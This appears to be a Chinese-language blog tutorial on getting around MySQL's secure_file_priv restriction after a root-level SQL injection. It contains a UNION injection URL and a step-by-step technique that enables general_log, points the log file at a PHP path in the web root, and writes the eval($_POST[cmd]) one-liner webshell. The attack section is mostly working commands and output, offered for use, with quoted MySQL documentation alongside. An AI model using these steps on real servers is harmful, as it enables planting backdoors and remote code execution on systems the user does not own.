SQL注入写shell不成功后

之前遇到sql注入,且是root权限后,很容易直接写进去shell。现在的Mysql数据库的安全性也高了,即使注入得到mysqlroot权限,有时候还是写不进去shell

SQL 注入写 shell
http://127.0.0.1:8000/waf/test.php?id=-1' union select 1,2,3 --+

root权限

写一句话的时候,报错。如果能进入phpmyadmin后台,可以试试一个方法。

就是--secure-file-priv的问题。

本地测试。

Mysql导出文件时报错

mysql> select host from mysql.user into outfile 'E:\\test\\1.txt';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
on so it cannot execute this statement

报错原因:secure_file_priv设置了指定目录,需要在指定目录下进行数据导出。

mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

secure_file_priv 参数为空,表示没有可以导出的目录。

这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。
如果这个参数为空,这个变量没有效果;
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

执行一下命令,在终端是修改不了secure_file_priv的值的。

mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.20 sec)

mysql> set global secure_file_priv = 'D:\\phpStudy\\www\\waf\\shell\\1.txt';
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

此时是root权限,into outfile写不了文件。这个时候,如果能登录到phpmyadmin,可以尝试一个方法。

phpmyadmin后台中,查看全局变量:找到general log filegeneral log

general log设置为ON

general log file 设置为shell的物理地址。

再执行一个写一句话的SQL语句。虽然还有报错,但是已经写入进去了。

D:\phpStudy\www\waf\phpinfo.php中可以看到写入的php代码。

访问。

general_log
Command-Line Format    --general-log
System Variable    Name    general_log
Scope    Global
Dynamic    Yes
Permitted Values    Type    boolean
Default    OFF

Whether the general query log is enabled. The value can be 0 (or OFF) to disable the log or 1 (or ON) to enable the log. The default value depends on whether the --general_log option is given. The destination for log output is controlled by the log_output system variable; if that value is NONE, no log entries are written even if the log is enabled.

general_log_file
Command-Line Format    --general-log-file=file_name
System Variable    Name    general_log_file
Scope    Global
Dynamic    Yes
Permitted Values    Type    file name
Default    host_name.log

The name of the general query log file. The default value is host_name.log, but the initial value can be changed with the --general_log_file option. 

如果登录不了phpmyadmin后台,试试能登录mysql终端吗?可以试着来执行以下命令。

show variables like '%general%'; #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = 'D:\\phpStudy\www\\waf\\shell.php'; #设置写入shell路径
select '<?php eval($_POST[cmd]);?>'  #写入shell
SELECT … INTO Syntax

window环境下在my.ini中设置 secure-file-priv="D:/phpStudy/www/waf" 为数据库的导入和导出路径。

Ubuntu环境下

SELECT的SELECT … INTO形式可以使查询结果存储在变量中或写入文件中。导出数据到文本文件中。

  • SELECT … INTO OUTFILE将选定的行写入文件。可以指定列和行结束符以产生特定的输出格式。

  • SELECT … INTO DUMPFILE将单行写入文件而不使用任何格式。

  • outfile

区别:

mysql> select host from mysql.user into outfile 'D:/phpStudy/www/waf/test.txt';
Query OK, 3 rows affected (0.00 sec)

内容:

127.0.0.1
::1
localhost
  • dumpfile

    mysql> select host from mysql.user into dumpfile ‘D:/phpStudy/www/waf/test1.txt’
    ;
    ERROR 1172 (42000): Result consisted of more than one row

只能导出一行内容。

若把一个可执行2进制文件用into outfile函数导出,导出后可能会被破坏,因为into outfile函数会在行末写入新行,并且会转义换行符。这样2进制可执行文件会被破坏。这个时候用into dumpfile就能导出一个完整的可执行的2进制文件。

参考

mysql dumpfile 与 outfile 函数的区别

mysql5.7.6以后 的root注入

mysql进行getshell新姿势